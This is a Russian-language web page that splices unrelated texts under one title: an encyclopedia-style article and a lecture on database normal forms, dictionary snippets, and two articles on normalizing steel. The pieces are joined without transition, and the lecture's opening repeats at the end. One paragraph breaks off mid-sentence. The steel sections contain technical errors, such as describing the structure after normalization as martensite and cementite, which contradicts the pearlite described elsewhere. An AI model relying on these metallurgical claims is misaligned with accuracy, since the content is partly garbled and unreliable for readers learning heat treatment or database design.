12 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Что называется процессом нормализации

Нормализация баз данных

Нормальная форма — требование, предъявляемое к отношениям в теории реляционных баз данных для устранения из базы избыточности, которая потенциально может привести к логически ошибочным результатам выборки или изменения данных.

Содержание

Нормализация баз данных

Процесс преобразования базы данных к виду, отвечающему нормальным формам, называется нормализацией. Нормализация позволяет обезопасить базу данных от логических и структурных проблем, называемых аномалиями данных. К примеру, когда существует несколько одинаковых записей в таблице, существует риск нарушения целостности данных при обновлении таблицы. Таблица, прошедшая нормализацию, менее подвержена таким проблемам, т.к. ее структура предполагает определение связей между данными, что исключает необходимость в существовании записей с повторяющейся информацией.

Происхождение и назначение нормальных форм

Понятие нормальной формы было введено Эдгаром Коддом при создании реляционной модели БД. Основное назначение нормальных форм — приведение структуры базы данных к виду, обеспечивающему минимальную избыточность. Устранение избыточности производится за счёт декомпозиции отношений (таблиц) таким образом, чтобы в каждом отношении хранились только первичные факты (то есть факты, не выводимые из других хранимых фактов). Таким образом, нормализация не имеет целью уменьшение или увеличение производительности работы или же уменьшение или увеличение объёма БД. Конечной целью нормализации является уменьшение потенциальной противоречивости хранимой в БД информации.

Типы нормальных форм

Нормализация может применяться к таблице, которая представляет собой правильное отношение.

Первая нормальная форма (1NF)

Таблица находится в первой нормальной форме, если каждый её атрибут атомарен. Под выражением «атрибут атомарен» понимается, что атрибут может содержать только одно значение. Таким образом, не существует 1NF таблицы, в полях которых могут храниться списки значений. Для приведения таблицы к 1NF обычно требуется разбить таблицу на несколько отдельных таблиц.

Замечание: в реляционной модели отношение всегда находится в 1 (или более высокой) нормальной форме в том смысле, что иные отношения не рассматриваются в реляционной модели. То есть само определение понятия отношение заведомо подразумевает наличие 1NF.

Вторая нормальная форма (2NF)

Таблица находится во второй нормальной форме, если она находится в первой нормальной форме, и при этом любой её атрибут, не входящий в состав первичного ключа, функционально полно зависит от первичного ключа. Функционально полная зависимость означает, что атрибут функционально зависит от всего первичного составного ключа, но при этом не находится в функциональной зависимости от какой-либо из входящих в него атрибутов(частей). Или другими словами: в 2NF нет неключевых атрибутов, зависящих от части составного ключа (+ выполняются условия 1NF).

Третья нормальная форма (3NF)

Таблица находится в третьей нормальной форме (3NF), если она находится во второй нормальной форме 2NF и при этом любой ее неключевой атрибут зависит только от первичного ключа (Primary key, PK) (иначе говоря, один факт хранится в одном месте).

Таким образом, отношение находится в 3NF тогда и только тогда, когда оно находится во 2NF и отсутствуют транзитивные зависимости неключевых атрибутов от ключевых. Транзитивной зависимостью неключевых атрибутов от ключевых называется следующая: A → B и B → C, где A — набор ключевых атрибутов (ключ), B и С — различные множества неключевых атрибутов.

При решении практических задач в большинстве случаев третья нормальная форма является достаточной. Процесс проектирования реляционной базы данных, как правило, заканчивается приведением к 3NF.

Нормальная форма Бойса — Кодда (BCNF)

Это модификация третьей нормальной формы (в некоторых источниках именно 3NF называется формой Бойса — Кодда).

Таблица находится в BCNF, если она находится в 3NF, и при этом отсутствуют функциональные зависимости атрибутов первичного ключа от неключевых атрибутов. Таблица может находиться в 3NF, но не в BCNF, только в одном случае: если она имеет, помимо первичного ключа, ещё по крайней мере один возможный ключ. Все зависимые от первичного ключа атрибуты должны быть потенциальными ключами отношения. Если это условие не выполняется, для них создаётся отдельное отношение. Чтобы сущность соответствовала BCNF, она должна находиться в третьей нормальной форме. Любая сущность с единственным возможным ключом, соответствующая требованиям третьей нормальной формы, автоматически находится в BCNF.

Четвёртая нормальная форма (4NF)

Таблица находится в 4NF, если она находится в BCNF и не содержит нетривиальных многозначных зависимостей. Многозначная зависимость не является функциональной, она существует в том случае, когда из факта, что в таблице содержится некоторая строка X, следует, что в таблице обязательно существует некоторая определённая строка Y. То есть, таблица находится в 4NF, если все ее многозначные зависимости являются функциональными.

Пятая нормальная форма (5NF)

Таблица находится в 5NF, если она находится в 4NF и любая многозначная зависимость соединения в ней является тривиальной. Пятая нормальная форма в большей степени является теоретическим исследованием и практически не применяется при реальном проектировании баз данных. Это связано со сложностью определения самого наличия зависимостей «проекции — соединения», поскольку утверждение о наличии такой зависимости должно быть сделано для всех возможных состояний БД.

Доменно-ключевая нормальная форма (DKNF)

Отношение в ДКНФ не имеет аномалий модификации. Другими словами, что бы ни менялось — ничего не потеряется, если соблюдены все ограничения относительно ключей и доменов. Формулировка слишком общая, но суть ее заключается в том, что если выполнять некоторые правила, то при любых действиях с таблицей ее целостность не пострадает и вся необходимая информация сохранится. Если рассматривать на примере, то правила действуют примерно так: нельзя просто удалить категорию из таблицы категорий, если с этой категорией связаны, например, продукты из таблицы продуктов. Прежде чем удалять категорию, необходимо выполнить предварительные действия в таблице продуктов (например, поле отвечающее за id категории этого товара нужно сделать

Шестая нормальная форма (6NF)

Таблица находится в 6NF, если она находится в 5NF и удовлетворяет требованию отсутствия нетривиальных зависимостей. Зачастую 6NF отождествляют с DKNF.

См. также

Ссылки

DDL, SELECT | INSERT | UPDATE | MERGE | DELETE | JOIN | UNION | CREATE | ALTER | DROP
Сравнение синтаксиса

Типы реализаций
Flat file | Deductive | Dimensional | Иерархическая | Объектно-ориентированная | Temporal

Wikimedia Foundation . 2010 .

Смотреть что такое «Нормализация баз данных» в других словарях:

Проектирование баз данных — процесс создания схемы базы данных и определения необходимых ограничений целостности. Содержание 1 Основные задачи проектирования баз данных … Википедия

Нормализация БД — Нормальная форма требование, предъявляемое к отношениям в теории реляционных баз данных для устранения из базы избыточности, которая потенциально может привести к логически ошибочным результатам выборки или изменения данных. Содержание 1… … Википедия

Нормализация (значения) — Нормализация (франц. normalisation упорядочение, от normal правильный, положенный) Нормализация приведение чего либо в нормальное состояние; Приведение вещества или материала к однородной консистенции путём обработки, например,… … Википедия

Реляционные базы данных — Реляционная база данных база данных, основанная на реляционной модели данных. Слово «реляционный» происходит от англ. relation (отношение[1]). Для работы с реляционными БД применяют реляционные СУБД. Использование реляционных баз данных было… … Википедия

Реляционная база данных — Реляционная база данных база данных, основанная на реляционной модели данных. Слово «реляционный» происходит от англ. relation (отношение[1]). Для работы с реляционными БД применяют реляционные СУБД. Использование реляционных баз… … Википедия

Нормальные формы — Нормальная форма требование, предъявляемое к отношениям в теории реляционных баз данных для устранения из базы избыточности, которая потенциально может привести к логически ошибочным результатам выборки или изменения данных. Содержание 1… … Википедия

Реляционные БД — Реляционная база данных база данных, основанная на реляционной модели. Слово «реляционный» происходит от английского «relation» (отношение[1]). Для работы с реляционными БД применяют Реляционные СУБД. Использование реляционных баз данных было… … Википедия

Нормальная форма — У этого термина существуют и другие значения, см. Нормальная форма (значения). Нормальная форма свойство отношения в реляционной модели данных, характеризующее его с точки зрения избыточности, потенциально приводящей к логически ошибочным… … Википедия

Технологический процесс — (Process) Определение технологического процесса, типы технологического процесса Определение технологического процесса, типы технологического процесса, правила процесса Содержание Содержание Определение . Понятие технологического процесса Основные … Энциклопедия инвестора

Израиль — Государство Израиль, в Зап. Азии, на вост. побережье Средиземного моря. Образовано в 1948 г. на основе решения Генеральной Ассамблеи ООН от 29 ноября 1947 г. В качестве названия принято название еврейского гос ва, существовавшего примерно в этих… … Географическая энциклопедия

Нормализация стали

Одним из способов изменения параметров стали является термообработка. Она включает несколько методов, одним из которых является нормализация. Далее рассмотрены принципы и применение данной технологии, отличия ее от прочих методов этой группы.

Общие положения

Принцип большинства технологий термической обработки подразумевает нагрев и выдержку сталей и охлаждение, что изменяет их строение. Несмотря на один принцип и сходные цели, каждая из них имеет определенные температурные и временные режимы. Термообработка может служить и в качестве промежуточного этапа, и выполнять роль окончательного технологического процесса. В первом случае такие методы используются для подготовки материала к последующей обработке, а во втором данным способом придают новые свойства.

Нормализацией стали называют процесс нагрева, выдержки материала, его последующего охлаждения на воздухе.

В результате формируется нормализованная структура. Этим объясняется название данного способа обработки.

Нормализация применяется для разных сталей, а также отливок. К тому же данной операции подвергают для измельчения структуры материала сварные швы.

Принципы

Суть нормализации состоит в нагреве стали до температуры, превышающей верхние критические значения температуры на 30 — 50°С , выдержке и охлаждении.

Температуру подбирают на основе типа материала. Так, заэвтектоидные варианты следует нормализовать в температурном интервале между точками Ас1 и Ас3, в то время как для доэвтектоидной стали используют температуры более Ас3. В результате все материалы первого типа приобретают одинаковую твердость ввиду того, что в раствор переходит одинаковое количество углерода, и фиксируется одинаковое количество аустенита. Получается состоящая из мартенсита и цемента структура.

Второй компонент способствует повышению износостойкости и твердости материала. Нагрев высокоуглеродистой стали более Ас3 ведет к увеличению внутренних напряжений вследствие роста зерен аустенита и повышению его количества за счет возрастания концентрации углерода в нем, приводящей к снижению температуры мартенситного превращения. Из-за этого сокращаются твердость и прочность.

Что касается доэвтектоидной стали, при нагреве более Ас3 она получает повышенную вязкость. Это обусловлено тем, что в низкоуглеродистой стали при этом образуется мелкозернистый аустенит, который после охлаждения переходит в мелкокристаллический мартенсит. Температуры между Ас1 и Ас3 не используют для обработки таких материалов, так как структура доэвтектоидной стали в данном случае получает феррит, снижающий ее твердость после нормализации и механические свойства после отпуска.

Оптимальные температуры нагрева при различных видах термообработки

Время выдержки определяет степень гомогенизации структуры. Нормативным показателем считают час выдержки на 25 мм толщины.

Интенсивность охлаждения в существенной степени определяет количество перлита и размеры пластин.

Так, существует прямая зависимость между данными величинами. То есть с повышением интенсивности охлаждения формируется больше перлита, расстояние между пластинами и их толщина сокращаются. Это увеличивает твердость и прочность нормализованной стали. Следовательно, низкая интенсивность охлаждения способствует образованию материала меньшей прочности и твердости.

К тому же при обработке предметов с большими перепадами сечения стремятся снизить термические напряжения во избежание коробления, причем и при нагреве, и при охлаждении. Так, перед началом работ их нагревают в соляной ванне.

При снижении температуры обрабатываемого изделия до нижней критической точки допустимо ускорение охлаждения путем помещения его в масло или воду.

Таким образом, нормализация сокращает внутренние напряжения, измельчает крупнозернистую структуру поковок, отливок, сварных швов путем перекристаллизации. То есть изменяется микроструктура стали.

Назначение

Нормализацию используют в различных целях. Путем осуществления данных работ как повышают, так и наоборот снижают твердость стали, ударную вязкость и прочность. Это определяется термической и механической историей материала. Данную технологию применяют с целью сокращения остаточных напряжений либо улучшения степени обрабатываемости материала различными методами.

Стальные отливки подвергают такой обработке для гомогенизации структуры, повышения подверженности термическому упрочнению, сокращения остаточных напряжений.

Получаемые путем обработки давлением предметы нормализуют после ковки и прокатки для сокращения разнозернистости структуры и ее полосчатости соответственно.

Нормализация с отпуском служит в качестве замены закалки для предметов сложной формы либо с резкими перепадами по сечению. Данный способ позволяет избежать дефектов.

Процесс нормализации стали

Кроме того, нормализацию используют с целью измельчения крупнозернистой структуры, улучшения структуры перед закалкой, повышения обрабатываемости резанием, устранения сетки вторичного цемента в заэвтектоидной стали, подготовки к завершающей термической обработке стали после нормализации.

Близкие процессы

Термическая обработка стали, помимо нормализации, включает отжиг, отпуск, закалку, криогенную обработку, дисперсионное твердение. Цель нормализации, как и принцип осуществления, совпадает с названными технологиями. Поэтому далее проведено сравнение данных процессов.

Отжиг дает более тонкую структуру перлита, так как подразумевает охлаждение в печи. Его применяют в целях снижения структурной неоднородности, напряжения после обработки литьем или давлением, придания мелкозернистой структуры, улучшения обработки резанием.

Принцип закалки аналогичен, за исключением больших температур, чем при нормализации, и повышенной скорости охлаждения, благодаря тому, что его производят в жидкостях. Закалка повышает прочность и твердость, как и нормализация. Однако полученные таким способом детали отличаются хрупкостью и пониженной ударной вязкостью.

Отпуск используется после закалки для сокращения хрупкости и напряжений. Для этого материал нагревают до меньшей температуры и охлаждают на воздухе. С ростом температуры падают предел прочности и твердость, и увеличивается ударная вязкость.

Дисперсионное твердение, относящееся также к окончательной обработке, подразумевает выделение дисперсных частиц в твердом растворе после закалки при меньшем нагреве с целью упрочнения.

Благодаря криогенной обработке материал получает равномерную структуру и твердость. Такая технология особо актуальна для закаленной углеродистой стали.

Применение

Выбор какого-либо из рассмотренных способов обработки определяется концентрацией в стали углерода. Для материалов с величиной данного показателя до 0,2% предпочтительнее использовать нормализацию. Стали с количеством углерода 0,3 — 0,4% обрабатывают и нормализацией, и отжигом. В таких случаях выбор способа осуществляют на основе требуемых свойств материала. Так, нормализация стали придает ей мелкозернистую структуру, большие прочность и твердость в сравнении с отжигом. Кроме того, данная технология является более производительным процессом. Следовательно, при прочих равных условиях она более предпочтительна. Закалке ее предпочитают ввиду хрупкости получаемых таким способом изделий и при обработке предметов с перепадами сечения во избежание дефектов.

Таким образом, нормализацию можно считать промежуточной технологией по отношению к ним: она дает материал большей твердости, чем отжиг, но менее хрупкий в сравнении с закалкой, улучшая структуру и сокращая напряжения. Ввиду этого нормализация получила в машиностроении более обширное распространение.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Нормализация стали — описание процесса и его суть

Большая часть операций, связанных с термической обработкой подразумевает один и тоже алгоритм действий:

  • нагрев изделия до определенных температур;
  • выдержку под действием набранной температуру в течение заданного времени;
  • охлаждение, которое может быть проведено в разных средах и с разной скоростью.

Термообработка деталей может выступать и как промежуточный технологический процесс, и как финишный. В первом случае, через неё проходят те детали, которые еще будут обрабатываться, например, сверла или лопатки авиационных турбин. Второй случай подразумевает то, что после термообработки, готовая деталь получит новые свойства.

Нормализация стали – это один из видов термической обработки металла с последующим его охлаждением на воздухе. Результатом этой операции становится формирование нормализованной структуры стали. Кстати, отсюда и пошло название. Операцию применяют по отношению к поковкам, отливкам и пр. Нормализацию используют для минимизации зерен в структуре стали, образованного сварочным швом.

Суть процесса

Процедура нормализации выглядит следующим образом. Деталь разогревают до температур, которые превышает максимально допустимые параметры (Ас1, Ас3) на 30 – 50 градусов Цельсия, затем, какое-то время ее выдерживают под воздействием этой температуры, после чего ее охлаждают.

Подбор температуры выполняют, руководствуясь маркой стали. Так, сплавы содержащие 0,8 % углерода так называемые заэвтектоидные, обрабатывают при температурах, лежащих между критическими точками Ас1 и Ас3.

Что такое критические точки – так называют температуры, при которых происходят фазовые изменения и структуры сплава при его нагреве или охлаждении.

Результатом этого становиться то, что в твердый раствор попадает некоторый объем углерода и закрепляется аустенита. То есть, на свет появляется структура, состоящая из мартенсита и цементита. Именно цементит приводит к росту стойкости к износу и твердости. Нагрев высокоуглеродистой стали свыше ас3 приводит к тому, что увеличиваются внутренние напряжения. Это происходит из-за того, что растет количество аустенита, в следствии роста концентрации углерода.

Сталь с содержанием углерода менее 0,8% при нагреве свыше критической точки Ас3 приобретает повышенную вязкость. Это происходит потому что в стали этого типа появляется аустенит (мелкозернистый), переходящий в мартенсит (мелкозернистый).

Доэвтектоидная сталь не обрабатывают при температурах, расположенных в диапазоне Ас1 – Ас3. Так как в этом случае появляются феррит, который снижает параметры твердости.

Время необходимое для выполнения операции

Для получения однородной структуры сплава, при определенной температуре, требуется какое-то время. Это время и будет определено как время выдержки стали при нормализации. Опытным путем определено, что слой металла толщиной в 25 мм через час становится однородным. Таким образом. и определяют время нормализации.

Завершающий этап – охлаждение

Скорость охлаждения играет существенную роль в образовании объема перлита и размера его пластин. Многочисленные исследования показали, что высокая интенсивность охлаждения увеличивает количество перлита и сталь получает повышенную твердость и прочность. Малая интенсивность охлаждения приводит к тому, что сталь теряет твердость и прочность.

При обработке деталей с существенными перепадами размеров, например. валов, целесообразно убрать напряжения, возникающие под воздействием колебания температур. Для этого их предварительно нагревают в емкости, заполненной разными солями. При понижении температуры допускается ускорить этот процесс помещая горячие детали в воду или специально подобранное масло.

Другими словами, нормализация стали устраняет напряжения внутри детали, минимизирует ее структуру. То есть она оказывает прямое влияние на изменение микроструктуры стальных сплавов.

Использование нормализации

Эту форму термической обработки применяют для достижения разных целей. Так применение нормализации может повысить или снизить твердость стального сплава, вязкость и прочностные характеристики. Этот способ термической обработки используют тогда, когда надо улучшить обрабатываемость стали разными методами – резание, штамповка и пр.

Детали, получаемые методом литья проходят нормализацию в целях получения гомогенизированной структуры и устранению внутренних напряжений. То же самое можно и сказать о деталях, полученных после обработки ковкой. То есть нормализация служит для получения однородной структуры металла и устранению внутренних напряжений. Кроме того, этот процесс может быть использован, как замена закаливания изделий со сложным профилем. Кроме, названных результатов процесса нормализации можно добавить и такие как минимизация зерен в структуре сплава, удаление вторичного цементита, повышения обрабатываемости стали.

Близкие по сути процессы термообработки

В перечень термообработки сталей, помимо нормализации, можно внести операции:

  • отжиг;
  • отпуск;
  • закаливание;
  • криогенная обработка и несколько других.

Операция отжига обеспечивает качественную, более тонкую структуру перлита, это происходит потому, что охлаждения деталей применяют печи. Назначение этой операции — понижение неоднородности структуры, удаления напряжений, повышение обрабатываемости.

Основы, заложенные в операцию закаливания, идентичны принципам нормализации, но существуют некоторые различия. Например, при закаливании применяют температуры куда как выше и высокие скорости охлаждения. Закаливание проводит к улучшению прочностных характеристик, твердости и пр. Но, нередко заготовки прошедшие через закаливание отличает сниженная вязкость и высокая хрупкость.

Отпуск деталей применяют после операции закаливания. Отпуск снижает хрупкость и внутренние напряжения. При этом диапазон температур ниже, чем тот, который используют в нормализации. Охлаждение деталей проводят на воздухе. При повышении температуры снижается предел прочности, твердость и в то же время растет ударная вязкость.

Криогенная обработка стали приводит к получению равномерной структуры металла и повышенной твердость. Эту технологию обработки применяют в отношении прошедшей закаливание углеродистой стали.

Нормализация и её применение в практической деятельности

При назначении способа термообработки технолог должен учитывать концентрацию углерода. Стали, в которых содержание углерода не превышает 0,4%, могут быть обработаны и нормализацией и отжигом. Нормализация минимизирует размер зерен в структуре и повышает прочностные характеристики.

Сравнивая затраты времени между нормализацией и другими методами можно сделать вывод, что обработка другими способами, длится больше времени.

За счет скорости выполнения операции, охват большого количества сталей, качеством получаемых параметров (твердость, прочность и пр.), именно поэтому нормализацию широко применяют в машиностроении.

Процесс нормализации;

Нормализация— это формальный метод анализа отношений на основе их пер­вичного ключа (или потенциальных ключей, как в случае НФБК) и существующих функциональных зависимостей. Он включает ряд правил, которые могут использо­ваться для проверки отдельных отношений таким образом, чтобы вся база данных могла быть нормализована до желаемой степени нормализации. Если некоторое тре­бование не удовлетворяется, то нарушающее данное требование отношение должно быть декомпозировано на отношения, каждое из которых (в отдельности) удовлетво­ряет всем требованиям нормализации.

Зачастую нормализация осуществляется в несколько последовательно выполняю­щихся этапов, каждый из которых соответствует некоторой нормальной форме, обла­дающей известными свойствами. В ходе нормализации формат отношений становит­ся все более строгим и менее уязвимым по отношению к аномалиям обновления. При работе с реляционной моделью данных важно понимать, что только удовлетворение требований первой нормальной формы (1НФ) обязательно для создания отношений приемлемого качества. Все остальные формы могут использоваться по желанию проектировщиков. Однако, для того чтобы избежать аномалий обновления, нормализацию рекомендуется выполнять как минимум до ЗНФ.

На рисунке 6 показана схема процесса нормализации и продемонстрирована взаи­мосвязь между разными нормальными формами. Видно, что одни 1НФ-отношения могут находиться во 2НФ, другие 2НФ-отношения — в ЗНФ и т.д.

Ненормализованная форма (ННФ) —таблица, содержащая одну или несколько повторяющихся групп данных.

Первая нормальная форма (1НФ)— отношение, в котором на пересечении каждой строки и каждого столбца содержится только одно значение.

Процесс нормализации начинается с преобразования данных из фор­мата источника (например, из формата стандартной формы ввода данных) в формат таблицы со строками и столбцами. На исходном этапе таблица находится в ненорма­лизованной форме (ННФ) и часто называется ненормализованной таблицей. Для преобразования ненормализованной таблицы в первую нормальную форму (1НФ) в исходной таблице следует найти и устранить все повторяющиеся группы данных. Повторяющейся группой называется группа, состоящая из одного и более атрибутов таблицы, в которой возможно наличие нескольких значений для единственного зна­чения ключевого атрибута таблицы. Существует два подхода исключения повторяющихся групп из ненормализованных таблиц.

В первом подходе повторяющиеся группы устраняются путем ввода соответст­вующих данных в пустые столбцы строк с повторяющимися данными. Иначе говоря, пустые места при этом заполняются дубликатами неповторяющихся данных. Этот подход часто называют «выравниванием» («flattening») таблицы. Полученная в ре­зультате этих действий таблица, которая теперь будет называться отношением, со­держит атомарные (или единственные) значения на пересечении каждой строки с каждым столбцом, а потому находится в первой нормальной форме. В результате та­кого подхода в полученное отношение вносится некоторая избыточность данных, ко­торая в ходе дальнейшей нормализации будет устранена.

Во втором подходе один атрибут или группа атрибутов назначаются ключом не­нормализованной таблицы, а затем повторяющиеся группы изымаются и помещают­ся в отдельные отношения вместе с копиями ключа исходной таблицы. Далее в но­вых отношениях устанавливаются первичные ключи. Иногда ненормализованные от­ношения могут содержать одну или несколько повторяющихся групп внутри повторяющихся групп первого порядка. В таких случаях данный прием применяется до тех пор, пока повторяющихся групп совсем не останется. Полученный набор от­ношений будет находиться в первой нормальной форме только тогда, когда ни в од­ном из них не будет повторяющихся групп атрибутов.

Хотя оба этих подхода одинаково корректны, следует отметить, что при использо­вании второго подхода полученные отношения находятся как минимум в 1НФ и обла­дают меньшей избыточностью данных. При выборе первого подхода выровненное 1НФ-отношение декомпозируется в ходе дальнейшей нормализации на те же отношения, ко­торые могли бы быть получены с помощью второго подхода.

Вторая нормальная форма (2НФ)

Вторая нормальная форма (2НФ) основана на понятии полной функциональной зависимости, которая описывается ниже.

Полная функциональная зависимость — в некотором отношении атрибут В называется полностью функционально зависимым от атрибута А, если атрибут В функционально зависит от полного значения атрибута А и не зависит ни от какого подмножества полного значения атрибута А.

Функциональная зависимость А®В является полной функциональной зависимо­стью, если удаление какого-либо атрибута из А приводит к утрате этой зависимости. Частичной функциональной зависимостью называется такая зависимость А®В, если в А есть некий атрибут, при удалении которого эта зависимость сохраняется.

Вторая нормальней форма применяется к отношениям с составными ключами, т.е. к таким отношениям, первичный ключ которых состоит из двух или больше атрибутов. Дело в том, что отношение с первичным ключом на основе единственно­го атрибута всегда находится, по крайней мере, в 2НФ. Отношение, которое не на­ходится в 2НФ, может страдать от аномалий обновления.

Вторая нормальная форма (2НФ) — отношение, которое находится в первой нормальной форме и каждый атрибут которого, не входящий в состав первичного ключа, характеризуется полной функциональной зависимостью от этого первичного ключа.

Нормализация 1НФ-отношений с образованием 2НФ-отношений включает устра­нение частичных зависимостей. Если в отношении между атрибутами су­ществует частичная зависимость, то функционально-зависимые атрибуты удаляются из него и помещаются в новое отношение вместе с копией их детерминанта.

Третья нормальная форма (ЗНФ)

Хотя 2НФ-отношения в меньшей степени обладают избыточностью данных, чем 1НФ-отношения, они все еще могут страдать от аномалий обновления.

Транзитивная зависимость — если для атрибутов А, В и С некоторого отношения существуют зависимости вида А®В и В®С, то говорят, что атрибут С транзитивно зависит от атрибута А через атрибут В (при условии, что атрибут А функционально не зависит ни от атрибута В, ни от атрибута С).

Транзитивная зависимость является описанием такого типа функциональной за­висимости, которая возникает при наличии следующих функциональных зависимо­стей между атрибутами А, В и С:

В данном случае транзитивная зависимость А®С осуществляется через атрибут В. Это утверждение справедливо только в том случае, если атрибут А функционально не зависит от атрибутов В и С.

Третья нормальная форма (ЗНФ)— отношение, которое находится в первой и второй нормальных формах и не имеет не входящих в первичный ключ атрибутов, которые находились бы в транзитивной функциональной зависи­мости от этого первичного ключа.

Нормализация 2НФ-отношений с образованием ЗНФ-отношений включает устранение транзитивных зависимостей. Если в отношении существует транзи­тивная зависимость между атрибутами, в таком случае транзитивно-зависимые атрибуты удаляются из него и помещаются в новое отношение вместе с копией их детерминанта.

Нормальная форма Бойса-Кодда (НФБК)

Отношения базы данных проектируются таким образом, чтобы исключить в них присутствие частичных или транзитивных зависимостей, поскольку эти зависимости приводят к появлению аномалий обновления. До сих пор мы использовали определения второй и третьей нормальных форм, для получе­ния которых требуется найти и исключить частичные и транзитивные зависимости от первичного ключа. Однако в этих определениях не рассматриваются такие же за­висимости от потенциальных ключей отношения, если таковые имеются.

Нормальная форма Бойса-Кодда (НФБК) учитывает функциональные зависимо­сти, в которых участвуют все потенциальные ключи отношения, а не только его пер­вичный ключ. Для отношения с единственным потенциальным ключом его ЗНФ и НФБК являются эквивалентными.

Нормальная форма Бойса-Кодда (НФБК) — отношение находится в НФБК тогда и только тогда, когда каждый его детерминант является потенциальным ключом.

Для проверки принадлежности отношения к НФБК необходимо найти все его де­терминанты и убедиться в том, что они являются потенциальными ключами. На­помним, что детерминантом является один атрибут или группа атрибутов, от которой полностью функционально зависит другой атрибут.

Различие между ЗНФ и НФБК заключается в том, что функциональная зависи­мость А®В допускается в ЗНФ-отношении, если атрибут В является первичным клю­чом, а атрибут А не обязательно является потенциальным ключом. Тогда как в НФБК-отношении эта зависимость допускается только тогда, когда атрибут А явля­ется потенциальным ключом. Следовательно нормальная форма Бойса-Кодда являет­ся жесткой версией формы ЗНФ, поскольку каждое НФБК-отношение является ЗНФ-отношением, но не всякое ЗНФ-отношение является НФБК-отношением.

Нарушения требований НФБК происходят крайне редко, поскольку это может случиться только тогда, когда:

— имеются два (или более) составных потенциальных ключа;

— эти потенциальные ключи перекрываются, т.е. ими совместно использует­ся, по крайней мере, один общий атрибут.

Четвертая нормальная форма (4НФ)

Как было сказано выше, НФБК позволяет устранить любые аномалии, вызванные функциональными зависимостями. Однако в ходе исследований был выявлен еще один тип зависимости — многозначная зависимость (multi-valued dependency — MVD), которая при проектировании отношений также может вызвать проблемы, свя­занные с избыточностью данных.

Возможность существования в отношении многозначных зависимостей возникает вследствие приведения исходных таблиц к 1НФ, для которой не допускается нали­чие некоторого набора значений на пересечении одной строки и одного столбца. На­пример, при наличии в отношении двух многозначных атрибутов для достижения непротиворечивого состояния строк необходимо повторить в них каждое значение одного из атрибутов в сочетании с каждым значением другого атрибута. Подобный тип ограничения порождает многозначную зависимость и приводит к избыточности данных.

Многозначная зависимость — в случае многозначной зависимости, существующей между атрибутами А, В и С некоторого отношения, для каждого значения А имеется набор значений атрибута В и набор значений атрибута С. Однако входящие в эти наборы значения атрибутов В и С не зави­сят друг от друга.

Многозначная зависимость между атрибутами А, В и С некоторого отношения дальше будет обозначаться следующим образом: А ®> В А®> С

Многозначная зависимость может быть дополнительно определена как тривиаль­ная или нетривиальная. Например, многозначная зависимость А —» В некоторого от­ношения R определяется как тривиальная, если атрибут В является подмножеством атрибута А или А и В = R.

И наоборот, многозначная зависимость определяется как нетривиальная, если ни одно, ни другое условие не выполняется. Тривиальная многозначная зависимость не накладывает никаких ограничений на данное отношение, а нетривиальная — накладывает.

Четвертая нормальная форма (4НФ) — отношение в нормальной форме Бойса-Кодда, которое не содержит нетривиальных многозначных зависимостей.

Четвертая нормальная форма (4НФ) является более строгой разновидностью нор­мальной формы Бойса-Кодда, поскольку в 4НФ-отношениях нет нетривиальных многозначных зависимостей, а потому нет и избыточности данных. Нормализация НФБК-отношения с получением 4НФ-отношений заключается в устранении многозначной зависимости из НФБК-отношения посредством выделения в новое отношение одного или нескольких участвующих в многозначной зависимости атрибутов вместе с копией одного или нескольких детерминантов.

Пятая нормальная форма (5НФ)

При любой декомпозиции отношения на два других отношения полученные от­ношения обладают свойством соединения без потерь. Это значит, что полученные от­ношения можно снова соединить и получить прежнее отношение в исходном виде.

Однако бывают случаи, когда требуется декомпозировать отношение на более чем два отношения. В таких (достаточно редких) случаях возникает необходимость учиты­вать зависимость соединения, которая устраняется с помощью пятой нормальной формы (5НФ).

Зависимость соединения — свойство декомпозиции, которое вызывает генерацию ложных строк при обратном соединении декомпозированных отношений с помощью операции естественного соединения.

При разбиении отношений с помощью операции проекции используемый метод декомпозиции определяется совершенно точно. В частности, следует позаботиться о том, чтобы при обратном соединении полученных отношений можно было восстано­вить исходное отношение. Такая декомпозиция называется декомпозицией с соеди­нением без потерь (или беспроигрышным либо неаддитивным соединением), по­скольку при ее выполнении сохраняются все данные исходного отношения, а также исключается создание дополнительных ложных строк. Однако бывают случаи, когда требуется выполнить декомпозицию без потерь с образованием более чем двух отношений. Именно в таких случаях при­менимы понятия зависимости соединения и пятой нормальной формы (5НФ).

Определение пятой нормальной формы (5НФ)

Пятая нормальная форма (5НФ) — отношение без зависимостей соединения.

Пятая нормальная форма (5НФ), которая также называется проективно-соединительной нормальной формой, или ПСНФ (project-join normal form — PJNF), означает, что отношение в такой форме не имеет зависимостей соединения.

Основная литература: 1[222-256]

Контрольные вопросы:

1. Что из себя представляет нормализация отношений и для чего она предназначена?

2. Дайте понятие функциональной зависимости, детерминанта.

3. В чем заключается процесс нормализации?

4. В чем заключается 1 форма нормализации, когда отношение находится в ненормализованной форме?

5. Дайте понятие второй нормальной формы, полной функциональной зависимости.

6. Дайте понятие третьей нормальной формы, транзитивной зависимости.

7. Когда отношение находится в нормальной форме Бойса-Кодда?

8. Дайте понятие четвертой нормальной формы, многозначной зависимости.

9 Дайте понятие пятой нормальной формы и зависимости соединения.

Что называется процессом нормализации

Нормализация — это формальный метод анализа отношений на основе их пер­вичного ключа (или потенциальных ключей, как в случае НФБК) и существующих функциональных зависимостей. Он включает ряд правил, которые могут использо­ваться для проверки отдельных отношений таким образом, чтобы вся база данных могла быть нормализована до желаемой степени нормализации. Если некоторое тре­бование не удовлетворяется, то нарушающее данное требование отношение должно быть декомпозировано на отношения, каждое из которых (в отдельности) удовлетво­ряет всем требованиям нормализации.

Зачастую нормализация осуществляется в несколько последовательно выполняю­щихся этапов, каждый из которых соответствует некоторой нормальной форме, обла­дающей известными свойствами. В ходе нормализации формат отношений становит­ся все более строгим и менее уязвимым по отношению к аномалиям обновления. При работе с реляционной моделью данных важно понимать, что только удовлетворение требований первой нормальной формы (1НФ) обязательно для создания отношений приемлемого качества. Все остальные формы могут использоваться по желанию проектировщиков. Однако, для того чтобы избежать аномалий обновления, нормализацию рекомендуется выполнять как минимум до ЗНФ.

На рисунке 6 показана схема процесса нормализации и продемонстрирована взаи­мосвязь между разными нормальными формами. Видно, что одни 1НФ-отношения могут находиться во 2НФ, другие 2НФ-отношения — в ЗНФ и т.д.

Ненормализованная форма (ННФ) — таблица, содержащая одну или несколько повторяющихся групп данных.

Первая нормальная форма (1НФ) — отношение, в котором на пересечении каждой строки и каждого столбца содержится только одно значение.

